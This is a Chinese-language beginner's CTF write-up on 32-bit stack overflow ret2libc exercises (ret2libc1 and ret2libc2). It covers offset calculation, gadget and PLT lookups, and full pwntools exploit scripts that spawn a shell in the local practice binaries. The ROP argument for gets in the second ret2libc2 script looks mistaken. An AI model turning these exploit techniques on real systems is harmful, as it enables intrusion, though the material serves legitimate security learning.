本内容主要是pwn入门学习,大佬勿喷!------漏洞栈溢出练习。若存在理解错误,请大家指出来。
#ret2libc1
首先常规检查
计算偏移量,这个对新人不太友好有坑。重点记住:从输入函数的位置ret至下个main函数的量就是即将覆盖的偏移量。
输入字符的位置:
继续跟进调试,直至ret至下个main函数,再查看stack
此时的stack情况:
正常请求ebp要ret至main函数,因此把此间的变量覆盖成其他的函数地址。此处调试过程需要注意,输入的位置是gets函数,要继续调试至main函数再查看stack,计算此时的偏移量,偏移量为112
In [16]: 0xffffd4bc -0xffffd44c
Out[16]: 112
使用ida查看system函数和/bin/sh对应地址:
system_adr=0x08048460
binsh_adr=0x08048720
构造exp,:
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc1')
binsh_adr = 0x8048720
system_adr = 0x08048460
payload = flat(['a' * 112, system_adr, 'b' * 4, binsh_adr])
sh.sendline(payload)
sh.interactive()
上面exp有新人坑点:知识点:
payload = flat(['a' * 112, system_adr, 'b' * 4, binsh_adr])
sh.sendline(payload)
'b'*4作为虚假的返回地址(长度固定),用于使函数调用结构完整。遇到类似的函数均需要先接收返回地址。flat函数是用来自动生成payload的函数。
顺序是:[溢出长度 + 函数名称 + 函数返回地址 + 函数参数]
一步一坑,好好学习,天天向上。
此题目第二种解法:
使用pwntools 给我们提供了一个很好用的用来布置 rop
的工具,链接见Pwn学习-ret2syscall-CSDN博客
from pwn import *
context.log_level = "debug"
#context.terminal = ['tmux', 'splitw', '-h']
context.kernel = 'i386'
elf = ELF('./ret2libc1')
rop = ROP(elf)
sh = process('./ret2libc1')
#gdb.attach(sh, '''
# break main
#''')
binsh_addr = next(elf.search(b'/bin/sh')) #0x8048720
rop.raw(b'A' * 112)
rop.call('system', [binsh_addr])
#system_plt = system
#payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
print(rop.dump())
raw_rop = rop.chain()
sh.send(raw_rop)
sh.recvline()
sh.interactive()
思路一样,减少找函数的过程,提升解题效率。
#ret2libc2
此题目与上一题最大的区别就是没有/bin/sh,那么结合攻击思路,需要写一个/bin/sh进去执行。此次需要我们自己来读取字符串,所以我们需要两个 gadgets,第一个控制程序读取字符串,第二个控制程序执行 system("/bin/sh")
调试过程中有坑,需要一个地址能够写进程序,使用IDA调试,发现buf2函数可以写入。
查找pop、ret返回链
root@Ubuntu20:/home/stack/ret2libc/ret2libc2# ROPgadget --binary ret2libc2 --only 'pop|ret'
Gadgets information
============================================================
0x0804872f : pop ebp ; ret
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret
0x0804872e : pop edi ; pop ebp ; ret
0x0804872d : pop esi ; pop edi ; pop ebp ; ret
0x08048426 : ret
0x0804857e : ret 0xeac1
Unique gadgets found: 7
查找plt
pwndbg> plt
Section .plt 0x8048440-0x8048500:
0x8048450: printf@plt
0x8048460: gets@plt
0x8048470: time@plt
0x8048480: puts@plt
0x8048490: system@plt
0x80484a0: __gmon_start__@plt
0x80484b0: srand@plt
0x80484c0: __libc_start_main@plt
0x80484d0: setvbuf@plt
0x80484e0: rand@plt
0x80484f0: __isoc99_scanf@plt
得到需要的数值
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
构造exp:
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc2')
input()
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload =b'a'*0x70+p32(gets_plt)+p32(pop_ebx)+p32(buf2)+p32(system_plt)+b'b'*0x4+p32(buf2)
#payload = flat(
['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 'b'*4, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
第二种方法:
from pwn import *
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
context.kernel = 'i386'
elf = ELF('./ret2libc2')
rop = ROP(elf)
sh = process('./ret2libc2')
buf2 = 0x804a080
rop.raw(b'A' * 112)
rop.call('gets', [b"/bin/sh", buf2])
rop.call('system', [buf2])
print(rop.dump())
raw_rop = rop.chain()
sh.send(raw_rop)
sh.recvline()
sh.interactive()
#ret2libc3
待补充。